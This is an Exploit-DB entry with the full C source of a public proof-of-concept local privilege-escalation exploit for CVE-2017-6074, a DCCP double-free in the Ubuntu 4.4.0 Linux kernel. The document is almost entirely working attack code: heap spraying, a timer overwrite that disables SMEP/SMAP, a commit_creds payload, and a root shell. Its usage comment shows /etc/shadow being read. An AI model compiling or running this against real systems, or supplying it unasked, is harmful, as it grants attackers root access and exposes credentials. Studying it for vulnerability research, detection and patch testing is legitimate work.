Linux Kernel 4.4.0 (Ubuntu) - DCCP Double-Free Privilege Escalation

EDB-ID:

41458


Platform:

Linux

Published:

2017-02-26

//
// EDB Note: More information ~ http://seclists.org/oss-sec/2017/q1/471
//
// A proof-of-concept local root exploit for CVE-2017-6074.
// Includes a semireliable SMAP/SMEP bypass.
// Tested on 4.4.0-62-generic #83-Ubuntu kernel.
// https://github.com/xairy/kernel-exploits/tree/master/CVE-2017-6074
//
// Usage:
// $ gcc poc.c -o pwn
// $ ./pwn
// [.] namespace sandbox setup successfully
// [.] disabling SMEP & SMAP
// [.] scheduling 0xffffffff81064550(0x406e0)
// [.] waiting for the timer to execute
// [.] done
// [.] SMEP & SMAP should be off now
// [.] getting root
// [.] executing 0x402043
// [.] done
// [.] should be root now
// [.] checking if we got root
// [+] got r00t ^_^
// [!] don't kill the exploit binary, the kernel will crash
// # cat /etc/shadow
// ...
// daemon:*:17149:0:99999:7:::
// bin:*:17149:0:99999:7:::
// sys:*:17149:0:99999:7:::
// sync:*:17149:0:99999:7:::
// games:*:17149:0:99999:7:::
// ...
//
// Andrey Konovalov <andreyknvl@gmail.com>

#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#include <sched.h>

#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>

#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <netinet/if_ether.h>

#define SMEP_SMAP_BYPASS	1

// Needed for local root.
#define COMMIT_CREDS		0xffffffff810a2840L
#define PREPARE_KERNEL_CRED	0xffffffff810a2c30L
#define SHINFO_OFFSET		1728

// Needed for SMEP_SMAP_BYPASS.
#define NATIVE_WRITE_CR4	0xffffffff81064550ul
#define CR4_DESIRED_VALUE	0x406e0ul
#define TIMER_OFFSET		(728 + 48 + 104)

#define KMALLOC_PAD 128
#define KMALLOC_WARM 32
#define CATCH_FIRST 6
#define CATCH_AGAIN 16
#define CATCH_AGAIN_SMALL 64

// Port is incremented on each use.
static int port = 11000;

void debug(const char *msg) {
/*
	char buffer[32];
	snprintf(&buffer[0], sizeof(buffer), "echo '%s' > /dev/kmsg\n", msg);
	system(buffer);
*/
}

// * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * *

struct ubuf_info {
	uint64_t callback;		// void (*callback)(struct ubuf_info *, bool)
	uint64_t ctx;			// void *
	uint64_t desc;			// unsigned long
};

struct skb_shared_info {
	uint8_t  nr_frags;		// unsigned char
	uint8_t  tx_flags;		// __u8
	uint16_t gso_size;		// unsigned short
	uint16_t gso_segs;		// unsigned short
	uint16_t gso_type;		// unsigned short
	uint64_t frag_list;		// struct sk_buff *
	uint64_t hwtstamps;		// struct skb_shared_hwtstamps
	uint32_t tskey;			// u32
	uint32_t ip6_frag_id;		// __be32
	uint32_t dataref;		// atomic_t
	uint64_t destructor_arg;	// void *
	uint8_t  frags[16][17];		// skb_frag_t frags[MAX_SKB_FRAGS];
};

struct ubuf_info ui;

void init_skb_buffer(char* buffer, void *func) {
	memset(&buffer[0], 0, 2048);

	struct skb_shared_info *ssi = (struct skb_shared_info *)&buffer[SHINFO_OFFSET];

	ssi->tx_flags = 0xff;
	ssi->destructor_arg = (uint64_t)&ui;
	ssi->nr_frags = 0;
	ssi->frag_list = 0;

	ui.callback = (unsigned long)func;
}

struct timer_list {
	void		*next;
	void		*prev;
	unsigned long	expires;
	void		(*function)(unsigned long);
	unsigned long	data;
	unsigned int	flags;
	int		slack;
};

void init_timer_buffer(char* buffer, void *func, unsigned long arg) {
	memset(&buffer[0], 0, 2048);

	struct timer_list* timer = (struct timer_list *)&buffer[TIMER_OFFSET];

	timer->next = 0;
	timer->prev = 0;
	timer->expires = 4294943360;
	timer->function = func;
	timer->data = arg;
	timer->flags = 1;
	timer->slack = -1;
}

// * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * *

struct dccp_handle {
	struct sockaddr_in6 sa;
	int s1;
	int s2;
};

void dccp_init(struct dccp_handle *handle, int port) {
	handle->sa.sin6_family = AF_INET6;
	handle->sa.sin6_port = htons(port);
	inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
	handle->sa.sin6_flowinfo = 0;
	handle->sa.sin6_scope_id = 0;

	handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
	if (handle->s1 == -1) {
		perror("socket(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}

	int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
	if (rv != 0) {
		perror("bind()");
		exit(EXIT_FAILURE);
	}

	rv = listen(handle->s1, 0x9);
	if (rv != 0) {
		perror("listen()");
		exit(EXIT_FAILURE);
	}

	int optval = 8;
	rv = setsockopt(handle->s1, IPPROTO_IPV6, IPV6_RECVPKTINFO,
			&optval, sizeof(optval));
	if (rv != 0) {
		perror("setsockopt(IPV6_RECVPKTINFO)");
		exit(EXIT_FAILURE);
	}

	handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
	if (handle->s1 == -1) {
		perror("socket(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}
}

void dccp_kmalloc_kfree(struct dccp_handle *handle) {
	int rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
	if (rv != 0) {
		perror("connect(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}
}

void dccp_kfree_again(struct dccp_handle *handle) {
	int rv = shutdown(handle->s1, SHUT_RDWR);
	if (rv != 0) {
		perror("shutdown(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}
}

void dccp_destroy(struct dccp_handle *handle) {
	close(handle->s1);
	close(handle->s2);
}

// * * * * * * * * * * * * * * Heap spraying * * * * * * * * * * * * * * * * *

struct udp_fifo_handle {
	int fds[2];
};

void udp_fifo_init(struct udp_fifo_handle* handle) {
	int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, handle->fds);
	if (rv != 0) {
		perror("socketpair()");
		exit(EXIT_FAILURE);
	}
}

void udp_fifo_destroy(struct udp_fifo_handle* handle) {
	close(handle->fds[0]);
	close(handle->fds[1]);
}

void udp_fifo_kmalloc(struct udp_fifo_handle* handle, char *buffer) {
	int rv = send(handle->fds[0], buffer, 1536, 0);
	if (rv != 1536) {
		perror("send()");
		exit(EXIT_FAILURE);
	}
}

void udp_fifo_kmalloc_small(struct udp_fifo_handle* handle) {
	char buffer[128];
	int rv = send(handle->fds[0], &buffer[0], 128, 0);
	if (rv != 128) {
		perror("send()");
		exit(EXIT_FAILURE);
	}
}

void udp_fifo_kfree(struct udp_fifo_handle* handle) {
  	char buffer[2048];
	int rv = recv(handle->fds[1], &buffer[0], 1536, 0);
	if (rv != 1536) {
		perror("recv()");
		exit(EXIT_FAILURE);
	}
}

int timer_kmalloc() {
	int s = socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	if (s == -1) {
		perror("socket(SOCK_DGRAM)");
		exit(EXIT_FAILURE);
	}
	return s;
}

#define CONF_RING_FRAMES 1
void timer_schedule(int handle, int timeout) {
	int optval = TPACKET_V3;
	int rv = setsockopt(handle, SOL_PACKET, PACKET_VERSION,
			&optval, sizeof(optval));
	if (rv != 0) {
		perror("setsockopt(PACKET_VERSION)");
		exit(EXIT_FAILURE);
	}
	struct tpacket_req3 tp;
	memset(&tp, 0, sizeof(tp));
	tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
	tp.tp_block_nr = 1;
	tp.tp_frame_size = getpagesize();
	tp.tp_frame_nr = CONF_RING_FRAMES;
	tp.tp_retire_blk_tov = timeout;
	rv = setsockopt(handle, SOL_PACKET, PACKET_RX_RING,
			(void *)&tp, sizeof(tp));
	if (rv != 0) {
		perror("setsockopt(PACKET_RX_RING)");
		exit(EXIT_FAILURE);
	}
}

void socket_sendmmsg(int sock, char *buffer) {
	struct mmsghdr msg[1];

	msg[0].msg_hdr.msg_iovlen = 0;

	// Buffer to kmalloc.
	msg[0].msg_hdr.msg_control = &buffer[0];
	msg[0].msg_hdr.msg_controllen = 2048;

	// Make sendmmsg exit easy with EINVAL.
	msg[0].msg_hdr.msg_name = "root";
	msg[0].msg_hdr.msg_namelen = 1;

	int rv = syscall(__NR_sendmmsg, sock, msg, 1, 0);
	if (rv == -1 && errno != EINVAL) {
		perror("[-] sendmmsg()");
		exit(EXIT_FAILURE);
	}
}

void sendmmsg_kmalloc_kfree(int port, char *buffer) {
	int sock[2];

	int rv = socketpair(AF_LOCAL, SOCK_DGRAM, 0, sock);
	if (rv != 0) {
		perror("socketpair()");
		exit(EXIT_FAILURE);
	}

	socket_sendmmsg(sock[0], buffer);

	close(sock[0]);
}

// * * * * * * * * * * * * * * Heap warming * * * * * * * * * * * * * * * * *

void dccp_connect_pad(struct dccp_handle *handle, int port) {
	handle->sa.sin6_family = AF_INET6;
	handle->sa.sin6_port = htons(port);
	inet_pton(AF_INET6, "::1", &handle->sa.sin6_addr);
	handle->sa.sin6_flowinfo = 0;
	handle->sa.sin6_scope_id = 0;

	handle->s1 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
	if (handle->s1 == -1) {
		perror("socket(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}

	int rv = bind(handle->s1, &handle->sa, sizeof(handle->sa));
	if (rv != 0) {
		perror("bind()");
		exit(EXIT_FAILURE);
	}

	rv = listen(handle->s1, 0x9);
	if (rv != 0) {
		perror("listen()");
		exit(EXIT_FAILURE);
	}

	handle->s2 = socket(PF_INET6, SOCK_DCCP, IPPROTO_IP);
	if (handle->s1 == -1) {
		perror("socket(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}

	rv = connect(handle->s2, &handle->sa, sizeof(handle->sa));
	if (rv != 0) {
		perror("connect(SOCK_DCCP)");
		exit(EXIT_FAILURE);
	}
}

void dccp_kmalloc_pad() {
	int i;
	struct dccp_handle handle;
	for (i = 0; i < 4; i++) {
		dccp_connect_pad(&handle, port++);
	}
}

void timer_kmalloc_pad() {
	int i;
	for (i = 0; i < 4; i++) {
		socket(AF_PACKET, SOCK_DGRAM, htons(ETH_P_ARP));
	}
}

void udp_kmalloc_pad() {
	int i, j;
	char dummy[2048];
	struct udp_fifo_handle uh[16];
	for (i = 0; i < KMALLOC_PAD / 16; i++) {
		udp_fifo_init(&uh[i]);
		for (j = 0; j < 16; j++)
			udp_fifo_kmalloc(&uh[i], &dummy[0]);
	}
}

void kmalloc_pad() {
	debug("dccp kmalloc pad");
	dccp_kmalloc_pad();
	debug("timer kmalloc pad");
	timer_kmalloc_pad();
	debug("udp kmalloc pad");
	udp_kmalloc_pad();
}

void udp_kmalloc_warm() {
	int i, j;
	char dummy[2048];
	struct udp_fifo_handle uh[16];
	for (i = 0; i < KMALLOC_WARM / 16; i++) {
		udp_fifo_init(&uh[i]);
		for (j = 0; j < 16; j++)
			udp_fifo_kmalloc(&uh[i], &dummy[0]);
	}
	for (i = 0; i < KMALLOC_WARM / 16; i++) {
		for (j = 0; j < 16; j++)
			udp_fifo_kfree(&uh[i]);
	}
}

void kmalloc_warm() {
	udp_kmalloc_warm();
}

// * * * * * * * * * * * * * Disabling SMEP/SMAP * * * * * * * * * * * * * * *

// Executes func(arg) from interrupt context multiple times.
void kernel_exec_irq(void *func, unsigned long arg) {
	int i;
	struct dccp_handle dh;
	struct udp_fifo_handle uh1, uh2, uh3, uh4;
	char dummy[2048];
	char buffer[2048];

	printf("[.] scheduling %p(%p)\n", func, (void *)arg);

	memset(&dummy[0], 0xc3, 2048);
	init_timer_buffer(&buffer[0], func, arg);

	udp_fifo_init(&uh1);
	udp_fifo_init(&uh2);
	udp_fifo_init(&uh3);
	udp_fifo_init(&uh4);

	debug("kmalloc pad");
	kmalloc_pad();

	debug("kmalloc warm");
	kmalloc_warm();

	debug("dccp init");
	dccp_init(&dh, port++);

	debug("dccp kmalloc kfree");
	dccp_kmalloc_kfree(&dh);

	debug("catch 1");
	for (i = 0; i < CATCH_FIRST; i++)
		udp_fifo_kmalloc(&uh1, &dummy[0]);

	debug("dccp kfree again");
	dccp_kfree_again(&dh);

	debug("catch 2");
	for (i = 0; i < CATCH_FIRST; i++)
		udp_fifo_kmalloc(&uh2, &dummy[0]);

	int timers[CATCH_FIRST];
	debug("catch 1 -> timer");
	for (i = 0; i < CATCH_FIRST; i++) {
		udp_fifo_kfree(&uh1);
		timers[i] = timer_kmalloc();
	}

	debug("catch 1 small");
	for (i = 0; i < CATCH_AGAIN_SMALL; i++)
		udp_fifo_kmalloc_small(&uh4);

	debug("schedule timers");
	for (i = 0; i < CATCH_FIRST; i++)
		timer_schedule(timers[i], 500);

	debug("catch 2 -> overwrite timers");
	for (i = 0; i < CATCH_FIRST; i++) {
		udp_fifo_kfree(&uh2);
		udp_fifo_kmalloc(&uh3, &buffer[0]);
	}

	debug("catch 2 small");
	for (i = 0; i < CATCH_AGAIN_SMALL; i++)
		udp_fifo_kmalloc_small(&uh4);

	printf("[.] waiting for the timer to execute\n");

	debug("wait");
	sleep(1);

	printf("[.] done\n");
}

void disable_smep_smap() {
	printf("[.] disabling SMEP & SMAP\n");
	kernel_exec_irq((void *)NATIVE_WRITE_CR4, CR4_DESIRED_VALUE);
	printf("[.] SMEP & SMAP should be off now\n");
}

// * * * * * * * * * * * * * * * Getting root * * * * * * * * * * * * * * * * *

// Executes func() from process context.
void kernel_exec(void *func) {
	int i;
	struct dccp_handle dh;
	struct udp_fifo_handle uh1, uh2, uh3;
	char dummy[2048];
	char buffer[2048];

	printf("[.] executing %p\n", func);

	memset(&dummy[0], 0, 2048);
	init_skb_buffer(&buffer[0], func);

	udp_fifo_init(&uh1);
	udp_fifo_init(&uh2);
	udp_fifo_init(&uh3);

	debug("kmalloc pad");
	kmalloc_pad();

	debug("kmalloc warm");
	kmalloc_warm();

	debug("dccp init");
	dccp_init(&dh, port++);

	debug("dccp kmalloc kfree");
	dccp_kmalloc_kfree(&dh);

	debug("catch 1");
	for (i = 0; i < CATCH_FIRST; i++)
		udp_fifo_kmalloc(&uh1, &dummy[0]);

	debug("dccp kfree again:");
	dccp_kfree_again(&dh);

	debug("catch 2");
	for (i = 0; i < CATCH_FIRST; i++)
		udp_fifo_kmalloc(&uh2, &dummy[0]);

	debug("catch 1 -> overwrite");
	for (i = 0; i < CATCH_FIRST; i++) {
		udp_fifo_kfree(&uh1);
		sendmmsg_kmalloc_kfree(port++, &buffer[0]);
	}
	debug("catch 2 -> free & trigger");
	for (i = 0; i < CATCH_FIRST; i++)
		udp_fifo_kfree(&uh2);

	debug("catch 1 & 2");
	for (i = 0; i < CATCH_AGAIN; i++)
		udp_fifo_kmalloc(&uh3, &dummy[0]);

	printf("[.] done\n");
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);

_commit_creds commit_creds = (_commit_creds)COMMIT_CREDS;
_prepare_kernel_cred prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CRED;

void get_root_payload(void) {
	commit_creds(prepare_kernel_cred(0));
}

void get_root() {
	printf("[.] getting root\n");
	kernel_exec(&get_root_payload);
	printf("[.] should be root now\n");
}

// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * *

void exec_shell() {
	char *shell = "/bin/bash";
	char *args[] = {shell, "-i", NULL};
	execve(shell, args, NULL);
}

void fork_shell() {
	pid_t rv;

	rv = fork();
	if (rv == -1) {
		perror("fork()");
		exit(EXIT_FAILURE);
	}

	if (rv == 0) {
		exec_shell();
	}
}

bool is_root() {
	// We can't simple check uid, since we're running inside a namespace
	// with uid set to 0. Try opening /etc/shadow instead.
	int fd = open("/etc/shadow", O_RDONLY);
	if (fd == -1)
		return false;
	close(fd);
	return true;
}

void check_root() {
	printf("[.] checking if we got root\n");

	if (!is_root()) {
		printf("[-] something went wrong =(\n");
		printf("[!] don't kill the exploit binary, the kernel will crash\n");
		return;
	}

	printf("[+] got r00t ^_^\n");
	printf("[!] don't kill the exploit binary, the kernel will crash\n");

	// Fork and exec instead of just doing the exec to avoid freeing
	// skbuffs and prevent crashes due to a allocator corruption.
	fork_shell();
}

static bool write_file(const char* file, const char* what, ...)
{
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);

	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}

void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();

        if (unshare(CLONE_NEWUSER) != 0) {
		perror("unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

        if (unshare(CLONE_NEWNET) != 0) {
		perror("unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}

	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)){
		perror("write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}

	cpu_set_t my_set;
	CPU_ZERO(&my_set);
	CPU_SET(0, &my_set);
	if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
		perror("sched_setaffinity()");
		exit(EXIT_FAILURE);
	}

	if (system("/sbin/ifconfig lo up") != 0) {
		perror("system(/sbin/ifconfig lo up)");
		exit(EXIT_FAILURE);
	}

	printf("[.] namespace sandbox setup successfully\n");
}

int main() {
	setup_sandbox();

#if SMEP_SMAP_BYPASS
	disable_smep_smap();
#endif

	get_root();

	check_root();

	while (true) {
		sleep(100);
	}

	return 0;
}